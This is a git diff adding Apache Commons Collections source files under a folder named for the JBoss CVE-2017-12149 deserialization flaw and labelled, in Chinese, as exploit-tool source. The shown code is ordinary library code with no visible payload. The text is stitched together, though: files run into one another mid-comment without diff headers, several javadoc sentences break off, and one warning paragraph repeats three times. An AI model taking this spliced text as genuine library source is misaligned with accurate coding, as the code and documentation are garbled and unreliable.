+ priorVariables.remove(priorVariables.size() - 1);
+ } else if (defaults != null && defaults.getString(variable, null) != null) {
+ result.append(defaults.getString(variable));
+ } else {
+ //variable not defined - so put it back in the value
+ result.append(START_TOKEN).append(variable).append(END_TOKEN);
+ }
+ prec = end;
+ }
+ result.append(base.substring(prec + END_TOKEN.length(), base.length()));
+
+ return result.toString();
+ }
+
+ /**
+ * Inserts a backslash before every comma and backslash.
+ */
+ private static String escape(String s) {
+ StringBuffer buf = new StringBuffer(s);
+ for (int i = 0; i < buf.length(); i++) {
+ char c = buf.charAt(i);
+ if (c == ',' || c == '\\') {
+ buf.insert(i, '\\');
+ i++;
+ }
+ }
+ return buf.toString();
+ }
+
+ /**
+ * Removes a backslash from every pair of backslashes.
+ */
+ private static String unescape(String s) {
+ StringBuffer buf = new StringBuffer(s);
+ for (int i = 0; i < buf.length() - 1; i++) {
+ char c1 = buf.charAt(i);
+ char c2 = buf.charAt(i + 1);
+ if (c1 == '\\' && c2 == '\\') {
+ buf.deleteCharAt(i);
+ }
+ }
+ return buf.toString();
+ }
+
+ /**
+ * Counts the number of successive times 'ch' appears in the
+ * 'line' before the position indicated by the 'index'.
+ */
+ private static int countPreceding(String line, int index, char ch) {
+ int i;
+ for (i = index - 1; i >= 0; i--) {
+ if (line.charAt(i) != ch) {
+ break;
+ }
+ }
+ return index - 1 - i;
+ }
+
+ /**
+ * Checks if the line ends with odd number of backslashes
+ */
+ private static boolean endsWithSlash(String line) {
+ if (!line.endsWith("\\")) {
+ return false;
+ }
+ return (countPreceding(line, line.length() - 1, '\\') % 2 == 0);
+ }
+
+ /**
+ * This class is used to read properties lines. These lines do
+ * not terminate with new-line chars but rather when there is no
+ * backslash sign a the end of the line. This is used to
+ * concatenate multiple lines for readability.
+ */
+ static class PropertiesReader extends LineNumberReader {
+ /**
+ * Constructor.
+ *
+ * @param reader A Reader.
+ */
+ public PropertiesReader(Reader reader) {
+ super(reader);
+ }
+
+ /**
+ * Read a property.
+ *
+ * @return a String property
+ * @throws IOException if there is difficulty reading the source.
+ */
+ public String readProperty() throws IOException {
+ StringBuffer buffer = new StringBuffer();
+
+ try {
+ while (true) {
+ String line = readLine().trim();
+ if ((line.length() != 0) && (line.charAt(0) != '#')) {
+ if (endsWithSlash(line)) {
+ line = line.substring(0, line.length() - 1);
+ buffer.append(line);
+ } else {
+ buffer.append(line);
+ break;
+ }
+ }
+ }
+ } catch (NullPointerException ex) {
+ return null;
+ }
+
+ return buffer.toString();
+ }
+ }
+
+ /**
+ * This class divides into tokens a property value. Token
+ * separator is "," but commas into the property value are escaped
+ * using the backslash in front.
+ */
+ static class PropertiesTokenizer extends StringTokenizer {
+ /**
+ * The property delimiter used while parsing (a comma).
+ */
+ static final String DELIMITER = ",";
+
+ /**
+ * Constructor.
+ *
+ * @param string A String.
+ */
+ public PropertiesTokenizer(String string) {
+ super(string, DELIMITER);
+ }
+
+ /**
+ * Check whether the object has more tokens.
+ *
+ * @return True if the object has more tokens.
+ */
+ public boolean hasMoreTokens() {
+ return super.hasMoreTokens();
+ }
+
+ /**
+ * Get next token.
+ *
+ * @return A String.
+ */
+ public String nextToken() {
+ StringBuffer buffer = new StringBuffer();
+
+ while (hasMoreTokens()) {
+ String token = super.nextToken();
+ if (endsWithSlash(token)) {
+ buffer.append(token.substring(0, token.length() - 1));
+ buffer.append(DELIMITER);
+ } else {
+ buffer.append(token);
+ break;
+ }
+ }
+
+ return buffer.toString().trim();
+ }
+ }
+
+ /**
+ * Creates an empty extended properties object.
+ */
+ public ExtendedProperties() {
+ super();
+ }
+
+ /**
+ * Creates and loads the extended properties from the specified file.
+ *
+ * @param file the filename to load
+ * @throws IOException if a file error occurs
+ */
+ public ExtendedProperties(String file) throws IOException {
+ this(file, null);
+ }
+
+ /**
+ * Creates and loads the extended properties from the specified file.
+ *
+ * @param file the filename to load
+ * @param defaultFile a second filename to load default values from
+ * @throws IOException if a file error occurs
+ */
+ public ExtendedProperties(String file, String defaultFile) throws IOException {
+ this.file = file;
+
+ basePath = new File(file).getAbsolutePath();
+ basePath = basePath.substring(0, basePath.lastIndexOf(fileSeparator) + 1);
+
+ FileInputStream in = null;
+ try {
+ in = new FileInputStream(file);
+ this.load(in);
+ } finally {
+ try {
+ if (in != null) {
+ in.close();
+ }
+ } catch (IOException ex) {}
+ }
+
+ if (defaultFile != null) {
+ defaults = new ExtendedProperties(defaultFile);
+ }
+ }
+
+ /**
+ * Indicate to client code whether property
+ * resources have been initialized or not.
+ */
+ public boolean isInitialized() {
+ return isInitialized;
+ }
+
+ /**
+ * Gets the property value for including other properties files.
+ * By default it is "include".
+ *
+ * @return A String.
+ */
+ public String getInclude() {
+ return include;
+ }
+
+ /**
+ * Sets the property value for including other properties files.
+ * By default it is "include".
+ *
+ * @param inc A String.
+ */
+ public void setInclude(String inc) {
+ include = inc;
+ }
+
+ /**
+ * Load the properties from the given input stream.
+ *
+ * @param input the InputStream to load from
+ * @throws IOException if an IO error occurs
+ */
+ public void load(InputStream input) throws IOException {
+ load(input, null);
+ }
+
+ /**
+ * Load the properties from the given input stream
+ * and using the specified encoding.
+ *
+ * @param input the InputStream to load from
+ * @param enc the encoding to use
+ * @throws IOException if an IO error occurs
+ */
+ public synchronized void load(InputStream input, String enc) throws IOException {
+ PropertiesReader reader = null;
+ if (enc != null) {
+ try {
+ reader = new PropertiesReader(new InputStreamReader(input, enc));
+
+ } catch (UnsupportedEncodingException ex) {
+ // Another try coming up....
+ }
+ }
+
+ if (reader == null) {
+ try {
+ reader = new PropertiesReader(new InputStreamReader(input, "8859_1"));
+
+ } catch (UnsupportedEncodingException ex) {
+ // ISO8859-1 support is required on java platforms but....
+ // If it's not supported, use the system default encoding
+ reader = new PropertiesReader(new InputStreamReader(input));
+ }
+ }
+
+ try {
+ while (true) {
+ String line = reader.readProperty();
+ int equalSign = line.indexOf('=');
+
+ if (equalSign > 0) {
+ String key = line.substring(0, equalSign).trim();
+ String value = line.substring(equalSign + 1).trim();
+
+ // Configure produces lines like this ... just ignore them
+ if ("".equals(value)) {
+ continue;
+ }
+
+ if (getInclude() != null && key.equalsIgnoreCase(getInclude())) {
+ // Recursively load properties files.
+ File file = null;
+
+ if (value.startsWith(fileSeparator)) {
+ // We have an absolute path so we'll use this
+ file = new File(value);
+
+ } else {
+ // We have a relative path, and we have two
+ // possible forms here. If we have the "./" form
+ // then just strip that off first before continuing.
+ if (value.startsWith("." + fileSeparator)) {
+ value = value.substring(2);
+ }
+
+ file = new File(basePath + value);
+ }
+
+ if (file != null && file.exists() && file.canRead()) {
+ load(new FileInputStream(file));
+ }
+ } else {
+ addProperty(key, value);
+ }
+ }
+ }
+ } catch (NullPointerException ex) {
+ // Should happen only when EOF is reached.
+ return;
+ } finally {
+ // Loading is initializing
+ isInitialized = true;
+ }
+ }
+
+ /**
+ * Gets a property from the configuration.
+ *
+ * @param key property to retrieve
+ * @return value as object. Will return user value if exists,
+ * if not then default value if exists, otherwise null
+ */
+ public Object getProperty(String key) {
+ // first, try to get from the 'user value' store
+ Object obj = this.get(key);
+
+ if (obj == null) {
+ // if there isn't a value there, get it from the
+ // defaults if we have them
+ if (defaults != null) {
+ obj = defaults.get(key);
+ }
+ }
+
+ return obj;
+ }
+
+ /**
+ * Add a property to the configuration. If it already
+ * exists then the value stated here will be added
+ * to the configuration entry. For example, if
+ *
+ *
+ * Thanks to Leon Messerschmidt for this one.
+ *
+ * @param key the key to store at
+ * @param value the decoded object to store
+ */
+ private void addPropertyInternal(String key, Object value) {
+ Object current = this.get(key);
+
+ if (current instanceof String) {
+ // one object already in map - convert it to a vector
+ Vector v = new Vector(2);
+ v.addElement(current);
+ v.addElement(value);
+ put(key, v);
+
+ } else if (current instanceof Vector) {
+ // already a vector - just add the new token
+ ((Vector) current).addElement(value);
+
+ } else {
+ // brand new key - store in keysAsListed to retain order
+ if (!containsKey(key)) {
+ keysAsListed.add(key);
+ }
+ put(key, value);
+ }
+ }
+
+ /**
+ * Set a property, this will replace any previously
+ * set values. Set values is implicitly a call
+ * to clearProperty(key), addProperty(key,value).
+ *
+ * @param key the key to set
+ * @param value the value to set
+ */
+ public void setProperty(String key, Object value) {
+ clearProperty(key);
+ addProperty(key, value);
+ }
+
+ /**
+ * Save the properties to the given output stream.
+ *
+ * The stream is not closed, but it is flushed.
+ *
+ * @param output an OutputStream, may be null
+ * @param header a textual comment to act as a file header
+ * @throws IOException if an IO error occurs
+ */
+ public synchronized void save(OutputStream output, String header) throws IOException {
+ if (output == null) {
+ return;
+ }
+ PrintWriter theWrtr = new PrintWriter(output);
+ if (header != null) {
+ theWrtr.println(header);
+ }
+
+ Enumeration theKeys = keys();
+ while (theKeys.hasMoreElements()) {
+ String key = (String) theKeys.nextElement();
+ Object value = get(key);
+ if (value != null) {
+ if (value instanceof String) {
+ StringBuffer currentOutput = new StringBuffer();
+ currentOutput.append(key);
+ currentOutput.append("=");
+ currentOutput.append(escape((String) value));
+ theWrtr.println(currentOutput.toString());
+
+ } else if (value instanceof Vector) {
+ Vector values = (Vector) value;
+ Enumeration valuesEnum = values.elements();
+ while (valuesEnum.hasMoreElements()) {
+ String currentElement = (String) valuesEnum.nextElement();
+ StringBuffer currentOutput = new StringBuffer();
+ currentOutput.append(key);
+ currentOutput.append("=");
+ currentOutput.append(escape(currentElement));
+ theWrtr.println(currentOutput.toString());
+ }
+ }
+ }
+ theWrtr.println();
+ theWrtr.flush();
+ }
+ }
+
+ /**
+ * Combines an existing Hashtable with this Hashtable.
+ *
+ * Warning: It will overwrite previous entries without warning.
+ *
+ * @param props the properties to combine
+ */
+ public void combine(ExtendedProperties props) {
+ for (Iterator it = props.getKeys(); it.hasNext();) {
+ String key = (String) it.next();
+ setProperty(key, props.get(key));
+ }
+ }
+
+ /**
+ * Clear a property in the configuration.
+ *
+ * @param key the property key to remove along with corresponding value
+ */
+ public void clearProperty(String key) {
+ if (containsKey(key)) {
+ // we also need to rebuild the keysAsListed or else
+ // things get *very* confusing
+ for (int i = 0; i < keysAsListed.size(); i++) {
+ if (( keysAsListed.get(i)).equals(key)) {
+ keysAsListed.remove(i);
+ break;
+ }
+ }
+ remove(key);
+ }
+ }
+
+ /**
+ * Get the list of the keys contained in the configuration
+ * repository.
+ *
+ * @return an Iterator over the keys
+ */
+ public Iterator getKeys() {
+ return keysAsListed.iterator();
+ }
+
+ /**
+ * Get the list of the keys contained in the configuration
+ * repository that match the specified prefix.
+ *
+ * @param prefix the prefix to match
+ * @return an Iterator of keys that match the prefix
+ */
+ public Iterator getKeys(String prefix) {
+ Iterator keys = getKeys();
+ ArrayList matchingKeys = new ArrayList();
+
+ while (keys.hasNext()) {
+ Object key = keys.next();
+
+ if (key instanceof String && ((String) key).startsWith(prefix)) {
+ matchingKeys.add(key);
+ }
+ }
+ return matchingKeys.iterator();
+ }
+
+ /**
+ * Create an ExtendedProperties object that is a subset
+ * of this one. Take into account duplicate keys
+ * by using the setProperty() in ExtendedProperties.
+ *
+ * @param prefix the prefix to get a subset for
+ * @return a new independent ExtendedProperties
+ */
+ public ExtendedProperties subset(String prefix) {
+ ExtendedProperties c = new ExtendedProperties();
+ Iterator keys = getKeys();
+ boolean validSubset = false;
+
+ while (keys.hasNext()) {
+ Object key = keys.next();
+
+ if (key instanceof String && ((String) key).startsWith(prefix)) {
+ if (!validSubset) {
+ validSubset = true;
+ }
+
+ /*
+ * Check to make sure that c.subset(prefix) doesn't
+ * blow up when there is only a single property
+ * with the key prefix. This is not a useful
+ * subset but it is a valid subset.
+ */
+ String newKey = null;
+ if (((String) key).length() == prefix.length()) {
+ newKey = prefix;
+ } else {
+ newKey = ((String) key).substring(prefix.length() + 1);
+ }
+
+ /*
+ * use addPropertyDirect() - this will plug the data as
+ * is into the Map, but will also do the right thing
+ * re key accounting
+ */
+ c.addPropertyDirect(newKey, get(key));
+ }
+ }
+
+ if (validSubset) {
+ return c;
+ } else {
+ return null;
+ }
+ }
+
+ /**
+ * Display the configuration for debugging purposes to System.out.
+ */
+ public void display() {
+ Iterator i = getKeys();
+
+ while (i.hasNext()) {
+ String key = (String) i.next();
+ Object value = get(key);
+ System.out.println(key + " => " + value);
+ }
+ }
+
+ /**
+ * Get a string associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @return The associated string.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a String.
+ */
+ public String getString(String key) {
+ return getString(key, null);
+ }
+
+ /**
+ * Get a string associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated string if key is found,
+ * default value otherwise.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a String.
+ */
+ public String getString(String key, String defaultValue) {
+ Object value = get(key);
+
+ if (value instanceof String) {
+ return interpolate((String) value);
+
+ } else if (value == null) {
+ if (defaults != null) {
+ return interpolate(defaults.getString(key, defaultValue));
+ } else {
+ return interpolate(defaultValue);
+ }
+ } else if (value instanceof Vector) {
+ return interpolate((String) ((Vector) value).get(0));
+ } else {
+ throw new ClassCastException('\'' + key + "' doesn't map to a String object");
+ }
+ }
+
+ /**
+ * Get a list of properties associated with the given
+ * configuration key.
+ *
+ * @param key The configuration key.
+ * @return The associated properties if key is found.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a String/Vector.
+ * @throws IllegalArgumentException if one of the tokens is
+ * malformed (does not contain an equals sign).
+ */
+ public Properties getProperties(String key) {
+ return getProperties(key, new Properties());
+ }
+
+ /**
+ * Get a list of properties associated with the given
+ * configuration key.
+ *
+ * @param key The configuration key.
+ * @return The associated properties if key is found.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a String/Vector.
+ * @throws IllegalArgumentException if one of the tokens is
+ * malformed (does not contain an equals sign).
+ */
+ public Properties getProperties(String key, Properties defaults) {
+ /*
+ * Grab an array of the tokens for this key.
+ */
+ String[] tokens = getStringArray(key);
+
+ // Each token is of the form 'key=value'.
+ Properties props = new Properties(defaults);
+ for (int i = 0; i < tokens.length; i++) {
+ String token = tokens[i];
+ int equalSign = token.indexOf('=');
+ if (equalSign > 0) {
+ String pkey = token.substring(0, equalSign).trim();
+ String pvalue = token.substring(equalSign + 1).trim();
+ props.put(pkey, pvalue);
+ } else {
+ throw new IllegalArgumentException('\'' + token + "' does not contain " + "an equals sign");
+ }
+ }
+ return props;
+ }
+
+ /**
+ * Get an array of strings associated with the given configuration
+ * key.
+ *
+ * @param key The configuration key.
+ * @return The associated string array if key is found.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a String/Vector.
+ */
+ public String[] getStringArray(String key) {
+ Object value = get(key);
+
+ // What's your vector, Victor?
+ Vector vector;
+ if (value instanceof String) {
+ vector = new Vector(1);
+ vector.addElement(value);
+
+ } else if (value instanceof Vector) {
+ vector = (Vector) value;
+
+ } else if (value == null) {
+ if (defaults != null) {
+ return defaults.getStringArray(key);
+ } else {
+ return new String[0];
+ }
+ } else {
+ throw new ClassCastException('\'' + key + "' doesn't map to a String/Vector object");
+ }
+
+ String[] tokens = new String[vector.size()];
+ for (int i = 0; i < tokens.length; i++) {
+ tokens[i] = (String) vector.elementAt(i);
+ }
+
+ return tokens;
+ }
+
+ /**
+ * Get a Vector of strings associated with the given configuration
+ * key.
+ *
+ * @param key The configuration key.
+ * @return The associated Vector.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Vector.
+ */
+ public Vector getVector(String key) {
+ return getVector(key, null);
+ }
+
+ /**
+ * Get a Vector of strings associated with the given configuration
+ * key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated Vector.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Vector.
+ */
+ public Vector getVector(String key, Vector defaultValue) {
+ Object value = get(key);
+
+ if (value instanceof Vector) {
+ return (Vector) value;
+
+ } else if (value instanceof String) {
+ Vector v = new Vector(1);
+ v.addElement(value);
+ put(key, v);
+ return v;
+
+ } else if (value == null) {
+ if (defaults != null) {
+ return defaults.getVector(key, defaultValue);
+ } else {
+ return ((defaultValue == null) ? new Vector() : defaultValue);
+ }
+ } else {
+ throw new ClassCastException('\'' + key + "' doesn't map to a Vector object");
+ }
+ }
+
+ /**
+ * Get a boolean associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @return The associated boolean.
+ * @throws NoSuchElementException is thrown if the key doesn't
+ * map to an existing object.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Boolean.
+ */
+ public boolean getBoolean(String key) {
+ Boolean b = getBoolean(key, null);
+ if (b != null) {
+ return b.booleanValue();
+ } else {
+ throw new NoSuchElementException('\'' + key + "' doesn't map to an existing object");
+ }
+ }
+
+ /**
+ * Get a boolean associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated boolean.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Boolean.
+ */
+ public boolean getBoolean(String key, boolean defaultValue) {
+ return getBoolean(key, new Boolean(defaultValue)).booleanValue();
+ }
+
+ /**
+ * Get a boolean associated with the given configuration key.
+ *
+ * @param key The configuration key.
+ * @param defaultValue The default value.
+ * @return The associated boolean if key is found and has valid
+ * format, default value otherwise.
+ * @throws ClassCastException is thrown if the key maps to an
+ * object that is not a Boolean.
+ */
+ public Boolean getBoolean(String key, Boolean defaultValue) {
+
+ Object value = get(key);
+
+ if (value instanceof Boolean) {
+ return (Boolean) value;
+
+ } else if (value instanceof String) {
+ String s = testBoolean((String) value);
+ Boolean b = new Boolean(s);
+ put(key, b);
+ return b;
+
+ } else if (value == null) {
+ if (defaults != null) {
+ return defaults.getBoolean(key, defaultValue);
+ } else {
+ return defaultValue;
+ }
+ } else {
+ throw new ClassCastException('\'' + key + "' doesn't map to a Boolean object");
+ }
+ }
+
+ /**
+ * Test whether the string represent by value maps to a boolean
+ * value or not. We will allow
+ * A
+ * Standard implementations of common factories are provided by
+ * {@link FactoryUtils}. These include factories that return a constant,
+ * a copy of a prototype or a new instance.
+ *
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.9 $ $Date: 2004/04/14 20:08:57 $
+ *
+ * @author Arron Bates
+ * @author Stephen Colebourne
+ */
+public interface Factory {
+
+ /**
+ * Create a new object.
+ *
+ * @return a new object
+ * @throws FunctorException (runtime) if the factory cannot create an object
+ */
+ public Object create();
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FactoryUtils.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FactoryUtils.java"
new file mode 100644
index 0000000..252be2b
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FactoryUtils.java"
@@ -0,0 +1,141 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import org.apache.commons.collections.functors.ConstantFactory;
+import org.apache.commons.collections.functors.InstantiateFactory;
+import org.apache.commons.collections.functors.ExceptionFactory;
+import org.apache.commons.collections.functors.PrototypeFactory;
+
+/**
+ * A customized implementation of When first created, objects of this class default to "slow" mode, where
+ * all accesses of any type are synchronized but no cloning takes place. This
+ * is appropriate for initially populating the collection, followed by a switch
+ * to "fast" mode (by calling NOTE: If you are creating and accessing an
+ * NOTE: This class is not cross-platform.
+ * Using it may cause unexpected failures on some architectures.
+ * It suffers from the same problems as the double-checked locking idiom.
+ * In particular, the instruction that clones the internal collection and the
+ * instruction that sets the internal reference to the clone can be executed
+ * or perceived out-of-order. This means that any read operation might fail
+ * unexpectedly, as it may be reading the state of the internal collection
+ * before the internal collection is fully formed.
+ * For more information on the double-checked locking idiom, see the
+ *
+ * Double-Checked Locking Idiom Is Broken Declaration. A customized implementation of When first created, objects of this class default to "slow" mode, where
+ * all accesses of any type are synchronized but no cloning takes place. This
+ * is appropriate for initially populating the collection, followed by a switch
+ * to "fast" mode (by calling NOTE: If you are creating and accessing a
+ * NOTE: This class is not cross-platform.
+ * Using it may cause unexpected failures on some architectures.
+ * It suffers from the same problems as the double-checked locking idiom.
+ * In particular, the instruction that clones the internal collection and the
+ * instruction that sets the internal reference to the clone can be executed
+ * or perceived out-of-order. This means that any read operation might fail
+ * unexpectedly, as it may be reading the state of the internal collection
+ * before the internal collection is fully formed.
+ * For more information on the double-checked locking idiom, see the
+ *
+ * Double-Checked Locking Idiom Is Broken Declaration. A customized implementation of When first created, objects of this class default to "slow" mode, where
+ * all accesses of any type are synchronized but no cloning takes place. This
+ * is appropriate for initially populating the collection, followed by a switch
+ * to "fast" mode (by calling NOTE: If you are creating and accessing a
+ * NOTE: This class is not cross-platform.
+ * Using it may cause unexpected failures on some architectures.
+ * It suffers from the same problems as the double-checked locking idiom.
+ * In particular, the instruction that clones the internal collection and the
+ * instruction that sets the internal reference to the clone can be executed
+ * or perceived out-of-order. This means that any read operation might fail
+ * unexpectedly, as it may be reading the state of the internal collection
+ * before the internal collection is fully formed.
+ * For more information on the double-checked locking idiom, see the
+ *
+ * Double-Checked Locking Idiom Is Broken Declaration.
+ * A map iterator is an efficient way of iterating over maps.
+ * There is no need to access the entry set or cast to Map Entry objects.
+ *
+ * A map iterator is an efficient way of iterating over maps.
+ * There is no need to access the entry set or cast to Map Entry objects.
+ *
+ * WARNING: Due to human error certain binary incompatabilities were introduced
+ * between Commons Collections 2.1 and 3.0. The class remained source and test
+ * compatible, so if you can recompile all your classes and dependencies
+ * everything is OK. Those methods which are binary incompatible are marked as
+ * such, together with alternate solutions that are binary compatible
+ * against versions 2.1.1 and 3.1.
+ *
+ * @since Commons Collections 2.1
+ * @version $Revision: 1.27 $ $Date: 2004/05/26 21:53:46 $
+ *
+ * @author Stephen Colebourne
+ * @author Phil Steitz
+ */
+public class IteratorUtils {
+ // validation is done in this class in certain cases because the
+ // public classes allow invalid states
+
+ /**
+ * An iterator over no elements.
+ *
+ * WARNING: This constant is binary incompatible with Commons Collections 2.1 and 2.1.1.
+ * Use
+ * WARNING: This constant is binary incompatible with Commons Collections 2.1 and 2.1.1.
+ * Use
+ * This iterator is a valid iterator object that will iterate over
+ * nothing.
+ *
+ * WARNING: This method is binary incompatible with Commons Collections 2.1 and 2.1.1.
+ * Use
+ * This iterator is a valid list iterator object that will iterate
+ * over nothing.
+ *
+ * WARNING: This method is binary incompatible with Commons Collections 2.1 and 2.1.1.
+ * Use
+ * This iterator is a valid iterator object that will iterate
+ * over nothing.
+ *
+ * @return an ordered iterator over nothing
+ */
+ public static OrderedIterator emptyOrderedIterator() {
+ return EMPTY_ORDERED_ITERATOR;
+ }
+
+ /**
+ * Gets an empty map iterator.
+ *
+ * This iterator is a valid map iterator object that will iterate
+ * over nothing.
+ *
+ * @return a map iterator over nothing
+ */
+ public static MapIterator emptyMapIterator() {
+ return EMPTY_MAP_ITERATOR;
+ }
+
+ /**
+ * Gets an empty ordered map iterator.
+ *
+ * This iterator is a valid map iterator object that will iterate
+ * over nothing.
+ *
+ * @return a map iterator over nothing
+ */
+ public static OrderedMapIterator emptyOrderedMapIterator() {
+ return EMPTY_ORDERED_MAP_ITERATOR;
+ }
+
+ // Singleton
+ //-----------------------------------------------------------------------
+ /**
+ * Gets a singleton iterator.
+ *
+ * This iterator is a valid iterator object that will iterate over
+ * the specified object.
+ *
+ * WARNING: This method is binary incompatible with Commons Collections 2.1 and 2.1.1.
+ * Use
+ * This iterator is a valid list iterator object that will iterate over
+ * the specified object.
+ *
+ * @param object the single object over which to iterate
+ * @return a singleton list iterator over the object
+ */
+ public static ListIterator singletonListIterator(Object object) {
+ return new SingletonListIterator(object);
+ }
+
+ // Arrays
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an iterator over an object array.
+ *
+ * WARNING: This method is binary incompatible with Commons Collections 2.1 and 2.1.1.
+ * Use
+ * This method will handle primitive arrays as well as object arrays.
+ * The primitives will be wrapped in the appropriate wrapper class.
+ *
+ * @param array the array over which to iterate
+ * @return an iterator over the array
+ * @throws IllegalArgumentException if the array is not an array
+ * @throws NullPointerException if array is null
+ */
+ public static ResettableIterator arrayIterator(Object array) {
+ return new ArrayIterator(array);
+ }
+
+ /**
+ * Gets an iterator over the end part of an object array.
+ *
+ * WARNING: This method is binary incompatible with Commons Collections 2.1 and 2.1.1.
+ * Use
+ * This method will handle primitive arrays as well as object arrays.
+ * The primitives will be wrapped in the appropriate wrapper class.
+ *
+ * @param array the array over which to iterate
+ * @param start the index to start iterating at
+ * @return an iterator over part of the array
+ * @throws IllegalArgumentException if the array is not an array
+ * @throws IndexOutOfBoundsException if start is less than zero or greater
+ * than the length of the array
+ * @throws NullPointerException if array is null
+ */
+ public static ResettableIterator arrayIterator(Object array, int start) {
+ return new ArrayIterator(array, start);
+ }
+
+ /**
+ * Gets an iterator over part of an object array.
+ *
+ * WARNING: This method is binary incompatible with Commons Collections 2.1 and 2.1.1.
+ * Use
+ * This method will handle primitive arrays as well as object arrays.
+ * The primitives will be wrapped in the appropriate wrapper class.
+ *
+ * @param array the array over which to iterate
+ * @param start the index to start iterating at
+ * @param end the index to finish iterating at
+ * @return an iterator over part of the array
+ * @throws IllegalArgumentException if the array is not an array
+ * @throws IndexOutOfBoundsException if array bounds are invalid
+ * @throws IllegalArgumentException if end is before start
+ * @throws NullPointerException if array is null
+ */
+ public static ResettableIterator arrayIterator(Object array, int start, int end) {
+ return new ArrayIterator(array, start, end);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets a list iterator over an object array.
+ *
+ * @param array the array over which to iterate
+ * @return a list iterator over the array
+ * @throws NullPointerException if array is null
+ */
+ public static ResettableListIterator arrayListIterator(Object[] array) {
+ return new ObjectArrayListIterator(array);
+ }
+
+ /**
+ * Gets a list iterator over an object or primitive array.
+ *
+ * This method will handle primitive arrays as well as object arrays.
+ * The primitives will be wrapped in the appropriate wrapper class.
+ *
+ * @param array the array over which to iterate
+ * @return a list iterator over the array
+ * @throws IllegalArgumentException if the array is not an array
+ * @throws NullPointerException if array is null
+ */
+ public static ResettableListIterator arrayListIterator(Object array) {
+ return new ArrayListIterator(array);
+ }
+
+ /**
+ * Gets a list iterator over the end part of an object array.
+ *
+ * @param array the array over which to iterate
+ * @param start the index to start iterating at
+ * @return a list iterator over part of the array
+ * @throws IndexOutOfBoundsException if start is less than zero
+ * @throws NullPointerException if array is null
+ */
+ public static ResettableListIterator arrayListIterator(Object[] array, int start) {
+ return new ObjectArrayListIterator(array, start);
+ }
+
+ /**
+ * Gets a list iterator over the end part of an object or primitive array.
+ *
+ * This method will handle primitive arrays as well as object arrays.
+ * The primitives will be wrapped in the appropriate wrapper class.
+ *
+ * @param array the array over which to iterate
+ * @param start the index to start iterating at
+ * @return a list iterator over part of the array
+ * @throws IllegalArgumentException if the array is not an array
+ * @throws IndexOutOfBoundsException if start is less than zero
+ * @throws NullPointerException if array is null
+ */
+ public static ResettableListIterator arrayListIterator(Object array, int start) {
+ return new ArrayListIterator(array, start);
+ }
+
+ /**
+ * Gets a list iterator over part of an object array.
+ *
+ * @param array the array over which to iterate
+ * @param start the index to start iterating at
+ * @param end the index to finish iterating at
+ * @return a list iterator over part of the array
+ * @throws IndexOutOfBoundsException if array bounds are invalid
+ * @throws IllegalArgumentException if end is before start
+ * @throws NullPointerException if array is null
+ */
+ public static ResettableListIterator arrayListIterator(Object[] array, int start, int end) {
+ return new ObjectArrayListIterator(array, start, end);
+ }
+
+ /**
+ * Gets a list iterator over part of an object or primitive array.
+ *
+ * This method will handle primitive arrays as well as object arrays.
+ * The primitives will be wrapped in the appropriate wrapper class.
+ *
+ * @param array the array over which to iterate
+ * @param start the index to start iterating at
+ * @param end the index to finish iterating at
+ * @return a list iterator over part of the array
+ * @throws IllegalArgumentException if the array is not an array
+ * @throws IndexOutOfBoundsException if array bounds are invalid
+ * @throws IllegalArgumentException if end is before start
+ * @throws NullPointerException if array is null
+ */
+ public static ResettableListIterator arrayListIterator(Object array, int start, int end) {
+ return new ArrayListIterator(array, start, end);
+ }
+
+ // Unmodifiable
+ //-----------------------------------------------------------------------
+ /**
+ * Gets an immutable version of an {@link Iterator}. The returned object
+ * will always throw an {@link UnsupportedOperationException} for
+ * the {@link Iterator#remove} method.
+ *
+ * @param iterator the iterator to make immutable
+ * @return an immutable version of the iterator
+ */
+ public static Iterator unmodifiableIterator(Iterator iterator) {
+ return UnmodifiableIterator.decorate(iterator);
+ }
+
+ /**
+ * Gets an immutable version of a {@link ListIterator}. The returned object
+ * will always throw an {@link UnsupportedOperationException} for
+ * the {@link Iterator#remove}, {@link ListIterator#add} and
+ * {@link ListIterator#set} methods.
+ *
+ * @param listIterator the iterator to make immutable
+ * @return an immutable version of the iterator
+ */
+ public static ListIterator unmodifiableListIterator(ListIterator listIterator) {
+ return UnmodifiableListIterator.decorate(listIterator);
+ }
+
+ /**
+ * Gets an immutable version of a {@link MapIterator}. The returned object
+ * will always throw an {@link UnsupportedOperationException} for
+ * the {@link Iterator#remove}, {@link MapIterator#setValue(Object)} methods.
+ *
